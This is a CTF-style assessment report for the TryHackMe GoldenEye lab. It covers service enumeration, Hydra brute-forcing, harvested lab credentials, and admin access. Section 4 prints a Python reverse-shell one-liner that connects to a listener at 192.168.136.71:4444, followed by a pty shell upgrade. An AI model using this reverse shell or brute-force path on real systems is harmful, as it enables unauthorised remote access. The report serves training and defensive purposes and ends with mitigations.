

Security Assessment Report: GoldenEye

Target IP: 10.114.164.224

Assessment Type: Capture The Flag (CTF) / Web & Network Infrastructure Assessment

Target Platform: TryHackMe — GoldenEye

1. Executive Summary

A security assessment was performed against the target machine at 10.114.164.224. The target was found to host a legacy web service (**GoldenEye Primary Admin Server**) alongside open mail services (SMTP). Multiple weak credentials across web and network services were harvested through enumeration and brute-force attacks, culminating in administrative access to the primary web application and remote code execution (RCE) on the underlying host.

2. Reconnaissance & Service Enumeration

An initial Nmap scan was conducted to identify active services running on the host.

Port Scan Findings

```
PORT      STATE SERVICE VERSION
25/tcp    open  smtp    Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_ssl-cert: Subject: commonName=ubuntu
|_Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
```

Key Service Highlights:

- **Port 25 (SMTP):** Running Postfix mail transport daemon.
- **Port 80 (HTTP):** Running Apache httpd 2.4.7 on Ubuntu, hosting the **GoldenEye Primary Admin Server**.

3. Credential Harvesting & Discovery Path

Enumeration across HTTP, internal routing configurations, and secondary network protocols revealed multiple valid user accounts and credential pairs.

Phase 1: Web & Service Credential Discovery

Through initial site inspection and targeted authentication testing (Hydra / Telnet enumeration), several valid accounts were recovered:

Account / Username	Password	Source / Service
Boris	InvincibleHack3r	Web Application
natalya	bird	Service Brute-Force (Hydra)
doak	goat	Service Brute-Force (Hydra)
xenia	RCP90rulez!	Network Service (Telnet)
dr_doak	4England!	Network Service (Telnet)

Phase 2: Virtual Host & Directory Discovery

Configuring local domain routing in `/etc/hosts` for `severnaya-station.com` allowed access to hidden administrative endpoints:

Plaintext

Target Domain: `severnaya-station.com`

Discovered Endpoint: `/gnocertdir`

Authenticating through the newly discovered administrative endpoint yielded high-privilege credentials:

- Admin Username: `admin`
- Admin Password: `xWinter1995x!`

4. Exploitation & Initial Access

Remote Code Execution (RCE)

Using the administrative credentials (**admin:xWinter1995x!**), access was gained to the core management interface. A vulnerability within the application was leveraged to execute an interactive Python reverse shell payload back to the attacker listener (**192.168.136.71:4444**).

Execution Vector:

```
Bash
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("19
2.168.136.71",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/bash")'
```

Post-Exploitation Shell Upgrading

To establish a fully functional interactive TTY session, a Pseudo-Terminal (pty) allocation was executed upon initial access:

```
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

5. Security Recommendations

Vulnerability Category	Risk Level	Mitigation Strategy
Weak / Default Credentials	High	Enforce strong password policies across all service endpoints (SSH, SMTP, Telnet, Web) and mandate Multi-Factor Authentication (MFA).
Cleartext Protocol Usage (Telnet)	Medium	Disable legacy unencrypted protocols like Telnet in favor of encrypted SSH channels.
Remote Code Execution in Web App	Critical	Audit backend input handling to prevent arbitrary command injection or malicious file execution via administrative portals.